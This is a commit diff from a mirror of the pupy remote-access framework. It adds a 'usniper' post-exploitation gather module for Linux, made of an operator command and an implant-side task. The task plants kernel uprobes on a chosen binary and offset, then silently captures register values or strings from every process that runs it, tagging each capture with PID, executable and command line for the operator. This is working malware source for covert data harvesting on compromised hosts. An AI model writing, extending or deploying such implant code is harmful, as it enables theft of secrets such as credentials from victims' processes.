mirror of https://github.com/n1nj4sec/pupy.git
Add usniper mode
This commit is contained in:
parent
0ad2982ddc
commit
efc615f5d3
|
@ -0,0 +1,89 @@
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
from pupylib.PupyModule import *
|
||||||
|
from pupylib.utils.rpyc_utils import obtain
|
||||||
|
from pupylib.PupyCmd import PupyCmd
|
||||||
|
|
||||||
|
__class_name__ = 'USniper'
|
||||||
|
|
||||||
|
@config(cat='gather', compat=['linux'])
|
||||||
|
class USniper(PupyModule):
|
||||||
|
''' Globally capture string or register during execution at specified
|
||||||
|
physical offset and register using uprobes. Compatible with
|
||||||
|
kernels >3.5 (register) and >3.18 (string) '''
|
||||||
|
|
||||||
|
unique_instance = True
|
||||||
|
dependencies = {
|
||||||
|
'linux': [ 'usniper' ]
|
||||||
|
}
|
||||||
|
|
||||||
|
def init_argparse(self):
|
||||||
|
self.arg_parser = PupyArgumentParser(prog='usniper', description=self.__doc__)
|
||||||
|
commands = self.arg_parser.add_subparsers(help='commands')
|
||||||
|
start = commands.add_parser('start', help='Start USniper')
|
||||||
|
start.add_argument('-S', '--string', action='store_true',
|
||||||
|
default=False, help='Dereference as string (>3.18)')
|
||||||
|
start.add_argument('-R', '--ret', action='store_true', default=False,
|
||||||
|
help='Get value after return')
|
||||||
|
start.add_argument('-C', '--nochar', action='store_true',
|
||||||
|
default=False, help='Do not cast register to character')
|
||||||
|
start.add_argument('path', help='Absolute path to binary')
|
||||||
|
start.add_argument('offset', help='Offset in binary')
|
||||||
|
start.add_argument('reg', default='ax', nargs='?',
|
||||||
|
help='Get value from register')
|
||||||
|
start.set_defaults(func=self.start)
|
||||||
|
|
||||||
|
stop = commands.add_parser('stop', help='stop USniper')
|
||||||
|
stop.set_defaults(func=self.stop)
|
||||||
|
|
||||||
|
dump = commands.add_parser('dump', help='dump results')
|
||||||
|
dump.set_defaults(func=self.dump)
|
||||||
|
|
||||||
|
def start(self, args):
|
||||||
|
if self.client.conn.modules['usniper'].start(
|
||||||
|
args.path,
|
||||||
|
args.offset,
|
||||||
|
args.reg,
|
||||||
|
args.ret,
|
||||||
|
'string' if args.string else None,
|
||||||
|
None if ( args.string or args.nochar ) else 'chr'
|
||||||
|
):
|
||||||
|
self.success('Unsipper started')
|
||||||
|
else:
|
||||||
|
self.error('Usniper start failed')
|
||||||
|
|
||||||
|
def stop(self, args):
|
||||||
|
self.client.conn.modules['usniper'].stop()
|
||||||
|
self.success('Stop request was sent')
|
||||||
|
|
||||||
|
def dump(self, args):
|
||||||
|
data = self.client.conn.modules['usniper'].dump()
|
||||||
|
if not data:
|
||||||
|
self.warning('No data collected')
|
||||||
|
return
|
||||||
|
|
||||||
|
records = []
|
||||||
|
|
||||||
|
data = obtain(data)
|
||||||
|
for pid, values in data.iteritems():
|
||||||
|
for timestamp, dumps in values['dump'].iteritems():
|
||||||
|
if all(len(x) == 1 and type(x) in (str,unicode) for x in dumps):
|
||||||
|
records.append({
|
||||||
|
'PID': pid,
|
||||||
|
'EXE': values['exe'],
|
||||||
|
'CMD': ' '.join(values['cmd']),
|
||||||
|
'DATA': ''.join(dumps)
|
||||||
|
})
|
||||||
|
else:
|
||||||
|
for dump in dumps:
|
||||||
|
records.append({
|
||||||
|
'PID': pid,
|
||||||
|
'DATA': dump,
|
||||||
|
'EXE': values['exe'],
|
||||||
|
'CMD': ' '.join(values['cmd'])
|
||||||
|
})
|
||||||
|
|
||||||
|
self.log(PupyCmd.table_format(records, wl=['PID', 'EXE', 'CMD', 'DATA']))
|
||||||
|
|
||||||
|
def run(self, args):
|
||||||
|
args.func(args)
|
|
@ -0,0 +1,214 @@
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
import threading
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
import re
|
||||||
|
import os
|
||||||
|
import signal
|
||||||
|
import pupy
|
||||||
|
import builtins
|
||||||
|
import fcntl
|
||||||
|
import select
|
||||||
|
|
||||||
|
class USniper(pupy.Task):
|
||||||
|
def __init__(self, manager, path, addr, reg='ax', ret=False, cast='', argtype=None):
|
||||||
|
super(USniper, self).__init__(manager)
|
||||||
|
|
||||||
|
self._path = path
|
||||||
|
|
||||||
|
if not os.path.isabs(self._path) or not os.path.exists(self._path):
|
||||||
|
raise ValueError('Executable {} not found'.format(self._path))
|
||||||
|
|
||||||
|
if ret:
|
||||||
|
self._match = re.compile(
|
||||||
|
'^\s*[^-]+-([\d]+)\s+\[[0-9]+\]\s+[a-z.]{4}\s(\d+)\.\d+:'
|
||||||
|
'\s+([^:]+):\s\(0x[a-f0-9]+\s\<\-\s0x[a-f0-9]+\)\s+arg1=(?:(?:0x)?([0-9a-f]+)|"([^"]+)"$)')
|
||||||
|
else:
|
||||||
|
self._match = re.compile(
|
||||||
|
'^\s*[^-]+-([\d]+)\s+\[[0-9]+\]\s+[a-z.]{4}\s(\d+)\.\d+:'
|
||||||
|
'\s+([^:]+):\s\(0x[a-f0-9]+\)\s+arg1=(?:(?:0x)?([0-9a-f]+)|"([^"]+)"$)')
|
||||||
|
|
||||||
|
if type(addr) in (str, unicode):
|
||||||
|
if addr.startswith('0x'):
|
||||||
|
addr = int(addr[2:], 16)
|
||||||
|
else:
|
||||||
|
addr = int(addr)
|
||||||
|
|
||||||
|
self._type = argtype
|
||||||
|
self._ret = ret
|
||||||
|
self._reg = '%' + reg
|
||||||
|
self._cast = cast
|
||||||
|
self._addr = hex(addr) if type(addr) in (int, long) else addr
|
||||||
|
self._worker = None
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
self._fs = '/sys/kernel/debug'
|
||||||
|
self._pipe = None
|
||||||
|
self._marker = ''.join(
|
||||||
|
random.choice(string.ascii_uppercase + string.digits) for _ in range(16)
|
||||||
|
)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def results(self):
|
||||||
|
with self._lock:
|
||||||
|
result = self._results
|
||||||
|
self._results = {}
|
||||||
|
return result
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
self._stopped.set()
|
||||||
|
with self._lock:
|
||||||
|
if self._pipe:
|
||||||
|
try:
|
||||||
|
os.close(self._pipe.fileno())
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def task(self):
|
||||||
|
self._results = {}
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open('{}/tracing/uprobe_events'.format(self._fs), 'w') as events:
|
||||||
|
register = '{}:{} {}:{} {}\n'.format(
|
||||||
|
'r' if self._ret else 'p', self._marker, self._path, self._addr,
|
||||||
|
'+0({}):{}'.format(self._reg, self._cast) if self._cast else self._reg
|
||||||
|
)
|
||||||
|
events.write(register)
|
||||||
|
|
||||||
|
except IOError:
|
||||||
|
self._stopped.set()
|
||||||
|
raise
|
||||||
|
|
||||||
|
with open('{}/tracing/events/uprobes/{}/enable'.format(self._fs, self._marker), 'w') as trigger:
|
||||||
|
trigger.write('1\n')
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open('{}/tracing/trace_pipe'.format(self._fs), 'r') as trace:
|
||||||
|
self._pipe = trace
|
||||||
|
fd = trace.fileno()
|
||||||
|
flag = fcntl.fcntl(fd, fcntl.F_GETFL)
|
||||||
|
fcntl.fcntl(fd, fcntl.F_SETFL, flag | os.O_NONBLOCK)
|
||||||
|
|
||||||
|
buf = ''
|
||||||
|
|
||||||
|
while not self._stopped.is_set():
|
||||||
|
rlist = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
rlist, _, xlist = select.select([trace], [], [trace], 10)
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
|
if xlist:
|
||||||
|
break
|
||||||
|
|
||||||
|
if not rlist:
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
buf = buf + os.read(trace.fileno(), 4096)
|
||||||
|
except IOError:
|
||||||
|
break
|
||||||
|
|
||||||
|
if not buf:
|
||||||
|
break
|
||||||
|
|
||||||
|
if not '\n' in buf:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if buf.endswith('\n'):
|
||||||
|
lines = buf.split('\n')
|
||||||
|
buf = ''
|
||||||
|
else:
|
||||||
|
last_n = buf.rfind('\n')
|
||||||
|
buf, lines = buf[last_n+1:], buf[:last_n].split('\n')
|
||||||
|
|
||||||
|
for line in lines:
|
||||||
|
if line.startswith('#'):
|
||||||
|
continue
|
||||||
|
|
||||||
|
groups = self._match.match(line)
|
||||||
|
|
||||||
|
if not groups or not groups.group(3) == self._marker:
|
||||||
|
continue
|
||||||
|
|
||||||
|
pid = groups.group(1)
|
||||||
|
ts = groups.group(2)
|
||||||
|
reg = groups.group(4)
|
||||||
|
string = groups.group(5)
|
||||||
|
if reg:
|
||||||
|
value = int(reg, 16)
|
||||||
|
if self._type:
|
||||||
|
value = self._type(value)
|
||||||
|
elif string:
|
||||||
|
value = string
|
||||||
|
else:
|
||||||
|
value = ''
|
||||||
|
|
||||||
|
with self._lock:
|
||||||
|
if not pid in self._results:
|
||||||
|
exe = os.readlink('/proc/{}/exe'.format(pid))
|
||||||
|
cmdline = []
|
||||||
|
with open('/proc/{}/cmdline'.format(pid)) as fcmdline:
|
||||||
|
cmdline = [
|
||||||
|
x for x in fcmdline.read().split('\x00') if x
|
||||||
|
]
|
||||||
|
|
||||||
|
self._results[pid] = {
|
||||||
|
'exe': exe,
|
||||||
|
'cmd': cmdline,
|
||||||
|
'dump': {}
|
||||||
|
}
|
||||||
|
|
||||||
|
if not ts in self._results[pid]['dump']:
|
||||||
|
self._results[pid]['dump'][ts] = []
|
||||||
|
|
||||||
|
self._results[pid]['dump'][ts].append(value)
|
||||||
|
|
||||||
|
except IOError, e:
|
||||||
|
if not e.errno == 9:
|
||||||
|
raise
|
||||||
|
|
||||||
|
finally:
|
||||||
|
with self._lock:
|
||||||
|
if self._pipe:
|
||||||
|
self._pipe.close()
|
||||||
|
self._pipe = None
|
||||||
|
|
||||||
|
with open('{}/tracing/events/uprobes/{}/enable'.format(self._fs, self._marker), 'w') as trigger:
|
||||||
|
trigger.write('0\n')
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open('{}/tracing/uprobe_events'.format(self._fs), 'w') as events:
|
||||||
|
events.write('-:{}\n'.format(self._marker))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def start(path, addr, reg='ax', ret=False, cast=None, argtype='chr'):
|
||||||
|
try:
|
||||||
|
if pupy.manager.active(USniper):
|
||||||
|
return False
|
||||||
|
except:
|
||||||
|
try:
|
||||||
|
pupy.manager.stop(USniper)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if argtype and hasattr(builtins, argtype):
|
||||||
|
argtype = getattr(builtins, argtype)
|
||||||
|
else:
|
||||||
|
argtype = None
|
||||||
|
|
||||||
|
return pupy.manager.create(
|
||||||
|
USniper, path, addr, reg, ret, cast, argtype
|
||||||
|
) is not None
|
||||||
|
|
||||||
|
def stop():
|
||||||
|
return pupy.manager.stop(USniper)
|
||||||
|
|
||||||
|
def dump():
|
||||||
|
usniper = pupy.manager.get(USniper)
|
||||||
|
if usniper:
|
||||||
|
return usniper.results
|
Loading…
Reference in New Issue